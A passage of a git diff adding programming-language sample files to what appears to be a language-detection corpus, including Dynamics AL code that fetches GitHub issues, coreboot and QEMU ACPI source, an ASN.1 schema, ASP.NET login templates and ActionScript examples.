+    const int PARTITION_TYPE_MIXED = 2;
+
+    const int PASSWORD_TYPE_PASSWORD = 0;
+    const int PASSWORD_TYPE_DEFAULT = 1;
+    const int PASSWORD_TYPE_PATTERN = 2;
+    const int PASSWORD_TYPE_PIN = 3;
+
+    const int STORAGE_FLAG_DE = 1;
+    const int STORAGE_FLAG_CE = 2;
+
+    const int REMOUNT_MODE_NONE = 0;
+    const int REMOUNT_MODE_DEFAULT = 1;
+    const int REMOUNT_MODE_INSTALLER = 2;
+    const int REMOUNT_MODE_PASS_THROUGH = 3;
+    const int REMOUNT_MODE_ANDROID_WRITABLE = 4;
+
+    const int VOLUME_STATE_UNMOUNTED = 0;
+    const int VOLUME_STATE_CHECKING = 1;
+    const int VOLUME_STATE_MOUNTED = 2;
+    const int VOLUME_STATE_MOUNTED_READ_ONLY = 3;
+    const int VOLUME_STATE_FORMATTING = 4;
+    const int VOLUME_STATE_EJECTING = 5;
+    const int VOLUME_STATE_UNMOUNTABLE = 6;
+    const int VOLUME_STATE_REMOVED = 7;
+    const int VOLUME_STATE_BAD_REMOVAL = 8;
+
+    const int VOLUME_TYPE_PUBLIC = 0;
+    const int VOLUME_TYPE_PRIVATE = 1;
+    const int VOLUME_TYPE_EMULATED = 2;
+    const int VOLUME_TYPE_ASEC = 3;
+    const int VOLUME_TYPE_OBB = 4;
+    const int VOLUME_TYPE_STUB = 5;
+}
diff --git a/samples/AL/ALIssue.al b/samples/AL/ALIssue.al
new file mode 100644
index 0000000000..d5e0472b8a
--- /dev/null
+++ b/samples/AL/ALIssue.al
@@ -0,0 +1,51 @@
+table 70990099 ALIssue
+{
+	//Sample code from Arend-Jan Kauffmann's AL Samples repo:  https://github.com/ajkauffmann/ALCodeSamples
+    fields
+    {
+        field(1;id;Integer)
+        {
+            CaptionML=ENU='ID';
+        }
+        field(2;number;Integer)
+        {
+            CaptionML=ENU='Number';
+        }
+        field(3;title;text[250])
+        {
+            CaptionML=ENU='Title';
+        }
+        field(5;created_at;DateTime)
+        {
+            CaptionML=ENU='Created at';
+        }
+        field(6;user;text[50])
+        {
+            CaptionML=ENU='User';
+        }
+        field(7;state;text[30])
+        {
+            CaptionML=ENU='State';
+        }
+        field(8;html_url;text[250])
+        {
+            CaptionML=ENU='URL';
+        }
+    }
+
+    keys
+    {
+        key(PK;id)
+        {
+            Clustered = true;
+        }
+    }
+
+    procedure RefreshIssues();
+    var
+        RefreshALIssues :Codeunit RefreshALIssueCode;
+    begin
+        RefreshALIssues.Refresh();
+    end;
+
+}
\ No newline at end of file
diff --git a/samples/AL/ALIssueList.al b/samples/AL/ALIssueList.al
new file mode 100644
index 0000000000..23a61795c3
--- /dev/null
+++ b/samples/AL/ALIssueList.al
@@ -0,0 +1,55 @@
+page 70990099 ALIssueList
+{
+	//Sample code from Arend-Jan Kauffmann's AL Samples repo:  https://github.com/ajkauffmann/ALCodeSamples	
+	
+    PageType = List;
+    SourceTable = ALIssue;
+    CaptionML=ENU='AL Issues';
+    Editable = false;
+    SourceTableView=order(descending);
+
+    layout
+    {
+        area(content)
+        {
+            repeater(General)
+            {
+                field(Number;number) {}
+                field(Title;title) {}
+                field(CreatedAt;created_at) {}
+                field(User;user) {}
+                field(State;state) {}
+                field(URL;html_url) 
+                {
+                    ExtendedDatatype=URL;
+                }
+            }
+        }
+    }
+
+    actions
+    {
+        area(processing)
+        {
+            action(RefreshALIssueList)
+            {
+                CaptionML=ENU='Refresh Issues';
+                Promoted=true;
+                PromotedCategory=Process;
+                Image=RefreshLines;
+                trigger OnAction();
+                begin
+                    RefreshIssues();
+                    CurrPage.Update;
+                    if FindFirst then;
+                end;
+            }
+        }
+    }
+
+    trigger OnOpenPage();
+    begin
+        //RefreshIssues();
+        //if FindFirst then;
+    end;
+}
\ No newline at end of file
diff --git a/samples/AL/RefreshALIssuesCode.al b/samples/AL/RefreshALIssuesCode.al
new file mode 100644
index 0000000000..b96001e76d
--- /dev/null
+++ b/samples/AL/RefreshALIssuesCode.al
@@ -0,0 +1,70 @@
+codeunit 70990099 RefreshALIssueCode
+{
+	//Sample code from Arend-Jan Kauffmann's AL Samples repo:  https://github.com/ajkauffmann/ALCodeSamples
+	
+    procedure Refresh();
+    var
+        ALIssue : Record ALIssue;
+        HttpClient : HttpClient;
+        ResponseMessage : HttpResponseMessage;
+        JsonToken : JsonToken;
+        JsonValue : JsonValue;
+        JsonObject : JsonObject;
+        JsonArray : JsonArray;
+        JsonText : text;
+        i : Integer;
+    begin
+        ALIssue.DeleteAll;
+
+        // Simple web service call
+        HttpClient.DefaultRequestHeaders.Add('User-Agent','Dynamics 365');
+        if not HttpClient.Get('https://api.github.com/repos/Microsoft/AL/issues',
+                              ResponseMessage)
+        then
+            Error('The call to the web service failed.');
+
+        if not ResponseMessage.IsSuccessStatusCode then
+            error('The web service returned an error message:\\' +
+                  'Status code: %1\' +
+                  'Description: %2',
+                  ResponseMessage.HttpStatusCode,
+                  ResponseMessage.ReasonPhrase);
+        
+        ResponseMessage.Content.ReadAs(JsonText);
+        
+        // Process JSON response
+        if not JsonArray.ReadFrom(JsonText) then
+            Error('Invalid response, expected an JSON array as root object');
+        
+        for i := 0 to JsonArray.Count - 1 do begin
+            JsonArray.Get(i,JsonToken);
+            JsonObject := JsonToken.AsObject;
+
+            ALIssue.init;
+            if not JsonObject.Get('id',JsonToken) then
+                error('Could not find a token with key %1');
+            
+            ALIssue.id := JsonToken.AsValue.AsInteger;
+
+            ALIssue.number := GetJsonToken(JsonObject,'number').AsValue.AsInteger;
+            ALIssue.title := GetJsonToken(JsonObject,'title').AsValue.AsText;
+            //ALIssue.created_at := GetJsonToken(JsonObject,'created_at').AsValue.AsDateTime;
+            ALIssue.user := SelectJsonToken(JsonObject,'$.user.login').AsValue.AsText;
+            ALIssue.state := GetJsonToken(JsonObject,'state').AsValue.AsText;
+            ALIssue.html_url := GetJsonToken(JsonObject,'html_url').AsValue.AsText;
+            ALIssue.Insert;
+        end;
+    end;
+
+    procedure GetJsonToken(JsonObject:JsonObject;TokenKey:text)JsonToken:JsonToken;
+    begin
+        if not JsonObject.Get(TokenKey,JsonToken) then
+            Error('Could not find a token with key %1',TokenKey);
+    end;
+    procedure SelectJsonToken(JsonObject:JsonObject;Path:text)JsonToken:JsonToken;
+    begin
+        if not JsonObject.SelectToken(Path,JsonToken) then
+            Error('Could not find a token with path %1',Path);
+    end;
+
+}
\ No newline at end of file
diff --git a/samples/ASL/example.asl b/samples/ASL/example.asl
new file mode 100644
index 0000000000..5988489243
--- /dev/null
+++ b/samples/ASL/example.asl
@@ -0,0 +1,375 @@
+/*
+ * This file is part of the coreboot project.
+ *
+ * Copyright (C) 2007-2009 coresystems GmbH
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; version 2 of
+ * the License.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ */
+
+
+Name(_HID,EISAID("PNP0A08"))	// PCIe
+Name(_CID,EISAID("PNP0A03"))	// PCI
+
+Name(_ADR, 0)
+Name(_BBN, 0)
+
+Device (MCHC)
+{
+	Name(_ADR, 0x00000000)	// 0:0.0
+
+	OperationRegion(MCHP, PCI_Config, 0x00, 0x100)
+	Field (MCHP, DWordAcc, NoLock, Preserve)
+	{
+		Offset (0x40),	// EPBAR
+		EPEN,	 1,	// Enable
+		,	11,	//
+		EPBR,	24,	// EPBAR
+
+		Offset (0x48),	// MCHBAR
+		MHEN,	 1,	// Enable
+		,	13,	//
+		MHBR,	22,	// MCHBAR
+
+		Offset (0x60),	// PCIe BAR
+		PXEN,	 1,	// Enable
+		PXSZ,	 2,	// BAR size
+		,	23,	//
+		PXBR,	10,	// PCIe BAR
+
+		Offset (0x68),	// DMIBAR
+		DMEN,	 1,	// Enable
+		,	11,	//
+		DMBR,	24,	// DMIBAR
+
+		Offset (0x70),	// ME Base Address
+		MEBA,	 64,
+
+		// ...
+
+		Offset (0x80),	// PAM0
+		,	 4,
+		PM0H,	 2,
+		,	 2,
+		Offset (0x81),	// PAM1
+		PM1L,	 2,
+		,	 2,
+		PM1H,	 2,
+		,	 2,
+		Offset (0x82),	// PAM2
+		PM2L,	 2,
+		,	 2,
+		PM2H,	 2,
+		,	 2,
+		Offset (0x83),	// PAM3
+		PM3L,	 2,
+		,	 2,
+		PM3H,	 2,
+		,	 2,
+		Offset (0x84),	// PAM4
+		PM4L,	 2,
+		,	 2,
+		PM4H,	 2,
+		,	 2,
+		Offset (0x85),	// PAM5
+		PM5L,	 2,
+		,	 2,
+		PM5H,	 2,
+		,	 2,
+		Offset (0x86),	// PAM6
+		PM6L,	 2,
+		,	 2,
+		PM6H,	 2,
+		,	 2,
+
+		Offset (0xa0),	// Top of Used Memory
+		TOM,	 64,
+
+		Offset (0xbc),	// Top of Low Used Memory
+		TLUD,	 32,
+	}
+
+	Mutex (CTCM, 1)		/* CTDP Switch Mutex (sync level 1) */
+	Name (CTCC, 0)		/* CTDP Current Selection */
+	Name (CTCN, 0)		/* CTDP Nominal Select */
+	Name (CTCD, 1)		/* CTDP Down Select */
+	Name (CTCU, 2)		/* CTDP Up Select */
+
+	OperationRegion (MCHB, SystemMemory, DEFAULT_MCHBAR, 0x8000)
+	Field (MCHB, DWordAcc, Lock, Preserve)
+	{
+		Offset (0x5930),
+		CTDN, 15,	/* CTDP Nominal PL1 */
+		Offset (0x59a0),
+		PL1V, 15,	/* Power Limit 1 Value */
+		PL1E, 1,	/* Power Limit 1 Enable */
+		PL1C, 1,	/* Power Limit 1 Clamp */
+		PL1T, 7,	/* Power Limit 1 Time */
+		Offset (0x59a4),
+		PL2V, 15,	/* Power Limit 2 Value */
+		PL2E, 1,	/* Power Limit 2 Enable */
+		PL2C, 1,	/* Power Limit 2 Clamp */
+		PL2T, 7,	/* Power Limit 2 Time */
+		Offset (0x5f3c),
+		TARN, 8,	/* CTDP Nominal Turbo Activation Ratio */
+		Offset (0x5f40),
+		CTDD, 15,	/* CTDP Down PL1 */
+		, 1,
+		TARD, 8,	/* CTDP Down Turbo Activation Ratio */
+		Offset (0x5f48),
+		CTDU, 15,	/* CTDP Up PL1 */
+		, 1,
+		TARU, 8,	/* CTDP Up Turbo Activation Ratio */
+		Offset (0x5f50),
+		CTCS, 2,	/* CTDP Select */
+		Offset (0x5f54),
+		TARS, 8,	/* Turbo Activation Ratio Select */
+	}
+
+	/*
+	 * Search CPU0 _PSS looking for control=arg0 and then
+	 * return previous P-state entry number for new _PPC
+	 *
+	 * Format of _PSS:
+	 *   Name (_PSS, Package () {
+	 *     Package (6) { freq, power, tlat, blat, control, status }
+	 *   }
+	 */
+	External (\_PR.CP00._PSS)
+	Method (PSSS, 1, NotSerialized)
+	{
+		Store (One, Local0) /* Start at P1 */
+		Store (SizeOf (\_PR.CP00._PSS), Local1)
+
+		While (LLess (Local0, Local1)) {
+			/* Store _PSS entry Control value to Local2 */
+			ShiftRight (DeRefOf (Index (DeRefOf (Index
+			      (\_PR.CP00._PSS, Local0)), 4)), 8, Local2)
+			If (LEqual (Local2, Arg0)) {
+				Return (Subtract (Local0, 1))
+			}
+			Increment (Local0)
+		}
+
+		Return (0)
+	}
+
+	/* Set TDP Down */
+	Method (STND, 0, Serialized)
+	{
+		If (Acquire (CTCM, 100)) {
+			Return (0)
+		}
+		If (LEqual (CTCD, CTCC)) {
+			Release (CTCM)
+			Return (0)
+		}
+
+		Store ("Set TDP Down", Debug)
+
+		/* Set CTC */
+		Store (CTCD, CTCS)
+
+		/* Set TAR */
+		Store (TARD, TARS)
+
+		/* Set PPC limit and notify OS */
+		Store (PSSS (TARD), PPCM)
+		PPCN ()
+
+		/* Set PL2 to 1.25 * PL1 */
+		Divide (Multiply (CTDD, 125), 100, , PL2V)
+
+		/* Set PL1 */
+		Store (CTDD, PL1V)
+
+		/* Store the new TDP Down setting */
+		Store (CTCD, CTCC)
+
+		Release (CTCM)
+		Return (1)
+	}
+
+	/* Set TDP Nominal from Down */
+	Method (STDN, 0, Serialized)
+	{
+		If (Acquire (CTCM, 100)) {
+			Return (0)
+		}
+		If (LEqual (CTCN, CTCC)) {
+			Release (CTCM)
+			Return (0)
+		}
+
+		Store ("Set TDP Nominal", Debug)
+
+		/* Set PL1 */
+		Store (CTDN, PL1V)
+
+		/* Set PL2 to 1.25 * PL1 */
+		Divide (Multiply (CTDN, 125), 100, , PL2V)
+
+		/* Set PPC limit and notify OS */
+		Store (PSSS (TARN), PPCM)
+		PPCN ()
+
+		/* Set TAR */
+		Store (TARN, TARS)
+
+		/* Set CTC */
+		Store (CTCN, CTCS)
+
+		/* Store the new TDP Nominal setting */
+		Store (CTCN, CTCC)
+
+		Release (CTCM)
+		Return (1)
+	}
+}
+
+// Current Resource Settings
+Name (MCRS, ResourceTemplate()
+{
+	// Bus Numbers
+	WordBusNumber (ResourceProducer, MinFixed, MaxFixed, PosDecode,
+			0x0000, 0x0000, 0x00ff, 0x0000, 0x0100,,, PB00)
+
+	// IO Region 0
+	DWordIO (ResourceProducer, MinFixed, MaxFixed, PosDecode, EntireRange,
+			0x0000, 0x0000, 0x0cf7, 0x0000, 0x0cf8,,, PI00)
+
+	// PCI Config Space
+	Io (Decode16, 0x0cf8, 0x0cf8, 0x0001, 0x0008)
+
+	// IO Region 1
+	DWordIO (ResourceProducer, MinFixed, MaxFixed, PosDecode, EntireRange,
+			0x0000, 0x0d00, 0xffff, 0x0000, 0xf300,,, PI01)
+
+	// VGA memory (0xa0000-0xbffff)
+	DWordMemory (ResourceProducer, PosDecode, MinFixed, MaxFixed,
+			Cacheable, ReadWrite,
+			0x00000000, 0x000a0000, 0x000bffff, 0x00000000,
+			0x00020000,,, ASEG)
+
+	// OPROM reserved (0xc0000-0xc3fff)
+	DWordMemory (ResourceProducer, PosDecode, MinFixed, MaxFixed,
+			Cacheable, ReadWrite,
+			0x00000000, 0x000c0000, 0x000c3fff, 0x00000000,
+			0x00004000,,, OPR0)
+
+	// OPROM reserved (0xc4000-0xc7fff)
+	DWordMemory (ResourceProducer, PosDecode, MinFixed, MaxFixed,
+			Cacheable, ReadWrite,
+			0x00000000, 0x000c4000, 0x000c7fff, 0x00000000,
+			0x00004000,,, OPR1)
+
+	// OPROM reserved (0xc8000-0xcbfff)
+	DWordMemory (ResourceProducer, PosDecode, MinFixed, MaxFixed,
+			Cacheable, ReadWrite,
+			0x00000000, 0x000c8000, 0x000cbfff, 0x00000000,
+			0x00004000,,, OPR2)
+
+	// OPROM reserved (0xcc000-0xcffff)
+	DWordMemory (ResourceProducer, PosDecode, MinFixed, MaxFixed,
+			Cacheable, ReadWrite,
+			0x00000000, 0x000cc000, 0x000cffff, 0x00000000,
+			0x00004000,,, OPR3)
+
+	// OPROM reserved (0xd0000-0xd3fff)
+	DWordMemory (ResourceProducer, PosDecode, MinFixed, MaxFixed,
+			Cacheable, ReadWrite,
+			0x00000000, 0x000d0000, 0x000d3fff, 0x00000000,
+			0x00004000,,, OPR4)
+
+	// OPROM reserved (0xd4000-0xd7fff)
+	DWordMemory (ResourceProducer, PosDecode, MinFixed, MaxFixed,
+			Cacheable, ReadWrite,
+			0x00000000, 0x000d4000, 0x000d7fff, 0x00000000,
+			0x00004000,,, OPR5)
+
+	// OPROM reserved (0xd8000-0xdbfff)
+	DWordMemory (ResourceProducer, PosDecode, MinFixed, MaxFixed,
+			Cacheable, ReadWrite,
+			0x00000000, 0x000d8000, 0x000dbfff, 0x00000000,
+			0x00004000,,, OPR6)
+
+	// OPROM reserved (0xdc000-0xdffff)
+	DWordMemory (ResourceProducer, PosDecode, MinFixed, MaxFixed,
+			Cacheable, ReadWrite,
+			0x00000000, 0x000dc000, 0x000dffff, 0x00000000,
+			0x00004000,,, OPR7)
+
+	// BIOS Extension (0xe0000-0xe3fff)
+	DWordMemory (ResourceProducer, PosDecode, MinFixed, MaxFixed,
+			Cacheable, ReadWrite,
+			0x00000000, 0x000e0000, 0x000e3fff, 0x00000000,
+			0x00004000,,, ESG0)
+
+	// BIOS Extension (0xe4000-0xe7fff)
+	DWordMemory (ResourceProducer, PosDecode, MinFixed, MaxFixed,
+			Cacheable, ReadWrite,
+			0x00000000, 0x000e4000, 0x000e7fff, 0x00000000,
+			0x00004000,,, ESG1)
+
+	// BIOS Extension (0xe8000-0xebfff)
+	DWordMemory (ResourceProducer, PosDecode, MinFixed, MaxFixed,
+			Cacheable, ReadWrite,
+			0x00000000, 0x000e8000, 0x000ebfff, 0x00000000,
+			0x00004000,,, ESG2)
+
+	// BIOS Extension (0xec000-0xeffff)
+	DWordMemory (ResourceProducer, PosDecode, MinFixed, MaxFixed,
+			Cacheable, ReadWrite,
+			0x00000000, 0x000ec000, 0x000effff, 0x00000000,
+			0x00004000,,, ESG3)
+
+	// System BIOS (0xf0000-0xfffff)
+	DWordMemory (ResourceProducer, PosDecode, MinFixed, MaxFixed,
+			Cacheable, ReadWrite,
+			0x00000000, 0x000f0000, 0x000fffff, 0x00000000,
+			0x00010000,,, FSEG)
+
+	// PCI Memory Region (Top of memory-CONFIG_MMCONF_BASE_ADDRESS)
+	DWordMemory (ResourceProducer, PosDecode, MinFixed, MaxFixed,
+			Cacheable, ReadWrite,
+			0x00000000, 0x00000000, 0x00000000, 0x00000000,
+			0x00000000,,, PM01)
+
+	// TPM Area (0xfed40000-0xfed44fff)
+	DWordMemory (ResourceProducer, PosDecode, MinFixed, MaxFixed,
+			Cacheable, ReadWrite,
+			0x00000000, 0xfed40000, 0xfed44fff, 0x00000000,
+			0x00005000,,, TPMR)
+})
+
+Method (_CRS, 0, Serialized)
+{
+	// Find PCI resource area in MCRS
+	CreateDwordField(MCRS, ^PM01._MIN, PMIN)
+	CreateDwordField(MCRS, ^PM01._MAX, PMAX)
+	CreateDwordField(MCRS, ^PM01._LEN, PLEN)
+
+	// Fix up PCI memory region
+	// Start with Top of Lower Usable DRAM
+	Store (^MCHC.TLUD, Local0)
+	Store (^MCHC.MEBA, Local1)
+
+	// Check if ME base is equal
+	If (LEqual (Local0, Local1)) {
+		// Use Top Of Memory instead
+		Store (^MCHC.TOM, Local0)
+	}
+
+	Store (Local0, PMIN)
+	Store (Subtract(CONFIG_MMCONF_BASE_ADDRESS, 1), PMAX)
+	Add(Subtract(PMAX, PMIN), 1, PLEN)
+
+	Return (MCRS)
+}
diff --git a/samples/ASL/example.dsl b/samples/ASL/example.dsl
new file mode 100644
index 0000000000..acc850e843
--- /dev/null
+++ b/samples/ASL/example.dsl
@@ -0,0 +1,104 @@
+ACPI_EXTRACT_ALL_CODE ssdp_misc_aml
+
+DefinitionBlock ("ssdt-misc.aml", "SSDT", 0x01, "BXPC", "BXSSDTSUSP", 0x1)
+{
+
+/****************************************************************
+ * PCI memory ranges
+ ****************************************************************/
+
+    Scope(\) {
+       ACPI_EXTRACT_NAME_DWORD_CONST acpi_pci32_start
+       Name(P0S, 0x12345678)
+       ACPI_EXTRACT_NAME_DWORD_CONST acpi_pci32_end
+       Name(P0E, 0x12345678)
+       ACPI_EXTRACT_NAME_BYTE_CONST acpi_pci64_valid
+       Name(P1V, 0x12)
+       ACPI_EXTRACT_NAME_BUFFER8 acpi_pci64_start
+       Name(P1S, Buffer() { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 })
+       ACPI_EXTRACT_NAME_BUFFER8 acpi_pci64_end
+       Name(P1E, Buffer() { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 })
+       ACPI_EXTRACT_NAME_BUFFER8 acpi_pci64_length
+       Name(P1L, Buffer() { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 })
+    }
+
+
+/****************************************************************
+ * Suspend
+ ****************************************************************/
+
+    Scope(\) {
+    /*
+     * S3 (suspend-to-ram), S4 (suspend-to-disk) and S5 (power-off) type codes:
+     * must match piix4 emulation.
+     */
+
+        ACPI_EXTRACT_NAME_STRING acpi_s3_name
+        Name(_S3, Package(0x04) {
+            One,  /* PM1a_CNT.SLP_TYP */
+            One,  /* PM1b_CNT.SLP_TYP */
+            Zero,  /* reserved */
+            Zero   /* reserved */
+        })
+        ACPI_EXTRACT_NAME_STRING acpi_s4_name
+        ACPI_EXTRACT_PKG_START acpi_s4_pkg
+        Name(_S4, Package(0x04) {
+            0x2,  /* PM1a_CNT.SLP_TYP */
+            0x2,  /* PM1b_CNT.SLP_TYP */
+            Zero,  /* reserved */
+            Zero   /* reserved */
+        })
+        Name(_S5, Package(0x04) {
+            Zero,  /* PM1a_CNT.SLP_TYP */
+            Zero,  /* PM1b_CNT.SLP_TYP */
+            Zero,  /* reserved */
+            Zero   /* reserved */
+        })
+    }
+
+    External(\_SB.PCI0, DeviceObj)
+    External(\_SB.PCI0.ISA, DeviceObj)
+
+    Scope(\_SB.PCI0.ISA) {
+        Device(PEVT) {
+            Name(_HID, "QEMU0001")
+            /* PEST will be patched to be Zero if no such device */
+            ACPI_EXTRACT_NAME_WORD_CONST ssdt_isa_pest
+            Name(PEST, 0xFFFF)
+            OperationRegion(PEOR, SystemIO, PEST, 0x01)
+            Field(PEOR, ByteAcc, NoLock, Preserve) {
+                PEPT,   8,
+            }
+
+            Method(_STA, 0, NotSerialized) {
+                Store(PEST, Local0)
+                If (LEqual(Local0, Zero)) {
+                    Return (0x00)
+                } Else {
+                    Return (0x0F)
+                }
+            }
+
+            Method(RDPT, 0, NotSerialized) {
+                Store(PEPT, Local0)
+                Return (Local0)
+            }
+
+            Method(WRPT, 1, NotSerialized) {
+                Store(Arg0, PEPT)
+            }
+
+            Name(_CRS, ResourceTemplate() {
+                IO(Decode16, 0x00, 0x00, 0x01, 0x01, IO)
+            })
+
+            CreateWordField(_CRS, IO._MIN, IOMN)
+            CreateWordField(_CRS, IO._MAX, IOMX)
+
+            Method(_INI, 0, NotSerialized) {
+                Store(PEST, IOMN)
+                Store(PEST, IOMX)
+            }
+        }
+    }
+}
diff --git a/samples/ASN.1/example.asn b/samples/ASN.1/example.asn
new file mode 100644
index 0000000000..0631abc90a
--- /dev/null
+++ b/samples/ASN.1/example.asn
@@ -0,0 +1,33 @@
+MyShopPurchaseOrders DEFINITIONS AUTOMATIC TAGS ::= BEGIN
+
+PurchaseOrder ::= SEQUENCE {
+dateOfOrder	DATE,
+customer   	CustomerInfo,
+items      	ListOfItems
+}
+
+CustomerInfo ::= SEQUENCE {
+companyName	   VisibleString (SIZE (3..50)),
+billingAddress	Address,
+contactPhone   NumericString (SIZE (7..12))
+}
+
+Address::= SEQUENCE {
+street	 VisibleString (SIZE (5 .. 50)) OPTIONAL,
+city	   VisibleString (SIZE (2..30)),
+state	  VisibleString (SIZE(2) ^ FROM ("A".."Z")),
+zipCode	NumericString (SIZE(5 | 9))
+}
+
+ListOfItems ::= SEQUENCE (SIZE (1..100)) OF Item
+
+Item ::= SEQUENCE {
+itemCode	       INTEGER (1..99999),
+color          	VisibleString ("Black" | "Blue" | "Brown"),
+power          	INTEGER (110 | 220),
+deliveryTime   	INTEGER (8..12 | 14..19),
+quantity	       INTEGER (1..1000),
+unitPrice	      REAL (1.00 .. 9999.00),
+isTaxable	      BOOLEAN
+}
+END
diff --git a/samples/ASP.NET/EchoSocket.ashx b/samples/ASP.NET/EchoSocket.ashx
new file mode 100644
index 0000000000..7d018e48ed
--- /dev/null
+++ b/samples/ASP.NET/EchoSocket.ashx
@@ -0,0 +1 @@
+<%@ WebHandler Language="C#" CodeBehind="EchoSocket.ashx.cs" Class="AutobahnTestAppAspNet4.EchoSocket" %>
diff --git a/samples/ASP.NET/Global.asax b/samples/ASP.NET/Global.asax
new file mode 100644
index 0000000000..fbf3d289d7
--- /dev/null
+++ b/samples/ASP.NET/Global.asax
@@ -0,0 +1 @@
+<%@ Application Codebehind="Global.asax.cs" Inherits="SQLMembership_Identity_OWIN.Global" Language="C#" %>
diff --git a/samples/ASP.NET/Login.aspx b/samples/ASP.NET/Login.aspx
new file mode 100644
index 0000000000..0bda03355c
--- /dev/null
+++ b/samples/ASP.NET/Login.aspx
@@ -0,0 +1,64 @@
+<%@ Page Title="Log in" Language="C#" MasterPageFile="~/Site.Master" AutoEventWireup="true" CodeBehind="Login.aspx.cs" Inherits="PrimaryKeysConfigTest.Account.Login" Async="true" %>
+
+<%@ Register Src="~/Account/OpenAuthProviders.ascx" TagPrefix="uc" TagName="OpenAuthProviders" %>
+
+<asp:Content runat="server" ID="BodyContent" ContentPlaceHolderID="MainContent">
+    <h2><%: Title %>.</h2>
+
+    <div class="row">
+        <div class="col-md-8">
+            <section id="loginForm">
+                <div class="form-horizontal">
+                    <h4>Use a local account to log in.</h4>
+                    <hr />
+                      <asp:PlaceHolder runat="server" ID="ErrorMessage" Visible="false">
+                        <p class="text-danger">
+                            <asp:Literal runat="server" ID="FailureText" />
+                        </p>
+                    </asp:PlaceHolder>
+                    <div class="form-group">
+                        <asp:Label runat="server" AssociatedControlID="Email" CssClass="col-md-2 control-label">Email</asp:Label>
+                        <div class="col-md-10">
+                            <asp:TextBox runat="server" ID="Email" CssClass="form-control" TextMode="Email" />
+                            <asp:RequiredFieldValidator runat="server" ControlToValidate="Email"
+                                CssClass="text-danger" ErrorMessage="The email field is required." />
+                        </div>
+                    </div>
+                    <div class="form-group">
+                        <asp:Label runat="server" AssociatedControlID="Password" CssClass="col-md-2 control-label">Password</asp:Label>
+                        <div class="col-md-10">
+                            <asp:TextBox runat="server" ID="Password" TextMode="Password" CssClass="form-control" />
+                            <asp:RequiredFieldValidator runat="server" ControlToValidate="Password" CssClass="text-danger" ErrorMessage="The password field is required." />
+                        </div>
+                    </div>
+                    <div class="form-group">
+                        <div class="col-md-offset-2 col-md-10">
+                            <div class="checkbox">
+                                <asp:CheckBox runat="server" ID="RememberMe" />
+                                <asp:Label runat="server" AssociatedControlID="RememberMe">Remember me?</asp:Label>
+                            </div>
+                        </div>
+                    </div>
+                    <div class="form-group">
+                        <div class="col-md-offset-2 col-md-10">
+                            <asp:Button runat="server" OnClick="LogIn" Text="Log in" CssClass="btn btn-default" />
+                        </div>
+                    </div>
+                </div>
+                <p>
+                    <asp:HyperLink runat="server" ID="RegisterHyperLink" ViewStateMode="Disabled">Register a new user?</asp:HyperLink>
+                </p>
+                <p>
+                    <asp:HyperLink runat="server" ID="ForgotPasswordHyperLink" ViewStateMode="Disabled">Forgot your password?</asp:HyperLink>
+                    
+                </p>
+            </section>
+        </div>
+
+        <div class="col-md-4">
+            <section id="socialLoginForm">
+                <uc:OpenAuthProviders runat="server" ID="OpenAuthLogin" />
+            </section>
+        </div>
+    </div>
+</asp:Content>
diff --git a/samples/ASP.NET/OpenAuthProviders.ascx b/samples/ASP.NET/OpenAuthProviders.ascx
new file mode 100644
index 0000000000..c8970f5d84
--- /dev/null
+++ b/samples/ASP.NET/OpenAuthProviders.ascx
@@ -0,0 +1,22 @@
+<%@ Control Language="C#" AutoEventWireup="true" CodeBehind="OpenAuthProviders.ascx.cs" Inherits="PrimaryKeysConfigTest.Account.OpenAuthProviders" %>
+
+<div id="socialLoginList">
+    <h4>Use another service to log in.</h4>
+    <hr />
+    <asp:ListView runat="server" ID="providerDetails" ItemType="System.String"
+        SelectMethod="GetProviderNames" ViewStateMode="Disabled">
+        <ItemTemplate>
+            <p>
+                <button type="submit" class="btn btn-default" name="provider" value="<%#: Item %>"
+                    title="Log in using your <%#: Item %> account.">
+                    <%#: Item %>
+                </button>
+            </p>
+        </ItemTemplate>
+        <EmptyDataTemplate>
+            <div>
+                <p>There are no external authentication services configured. See <a href="http://go.microsoft.com/fwlink/?LinkId=252803">this article</a> for details on setting up this ASP.NET application to support logging in via external services.</p>
+            </div>
+        </EmptyDataTemplate>
+    </asp:ListView>
+</div>
diff --git a/samples/ActionScript/FooBar.as b/samples/ActionScript/FooBar.as
new file mode 100644
index 0000000000..9c833e37b6
--- /dev/null
+++ b/samples/ActionScript/FooBar.as
@@ -0,0 +1,35 @@
+// A sample for Actionscript.
+
+package foobar
+{
+	import flash.display.MovieClip;
+
+	class Bar
+	{
+		public function getNumber():Number
+		{
+			return 10;
+		}
+	}
+
+	class Foo extends Bar
+	{
+		private var ourNumber:Number = 25;
+
+		override public function getNumber():Number
+		{
+			return ourNumber;
+		}
+	}
+
+	class Main extends MovieClip
+	{
+		public function Main()
+		{
+			var x:Bar = new Bar();
+			var y:Foo = new Foo();
+			trace(x.getNumber());
+			trace(y.getNumber());
+		}
+	}
+}
diff --git a/samples/ActionScript/HelloWorld.as b/samples/ActionScript/HelloWorld.as
new file mode 100644
index 0000000000..0586fd0db4
--- /dev/null
+++ b/samples/ActionScript/HelloWorld.as
@@ -0,0 +1,13 @@
+package mypackage
+{
+	public class Hello
+	{
+		/* Let's say hello!
+		 * This is just a test script for Linguist's Actionscript detection.
+		 */
+		public function sayHello():void
+		{
+			trace("Hello, world");
+		}
+	}
+}
diff --git a/samples/ActionScript/NumberUtil.as b/samples/ActionScript/NumberUtil.as
new file mode 100644
index 0000000000..61124a7ba8
--- /dev/null
+++ b/samples/ActionScript/NumberUtil.as
@@ -0,0 +1,291 @@
+// https://github.com/aaronclinger/casalib/blob/a948190f3c9f781dfb1420fb24d36e7c1deeacf8/AS2/code/org/casalib/util/NumberUtil.as
+
+/*
+	CASA Lib for ActionScript 2.0
+	Copyright (c) 2008, Aaron Clinger & Contributors of CASA Lib
+	All rights reserved.
+	
+	Redistribution and use in source and binary forms, with or without
+	modification, are permitted provided that the following conditions are met:
+	
+	- Redistributions of source code must retain the above copyright notice,
+	  this list of conditions and the following disclaimer.
+	
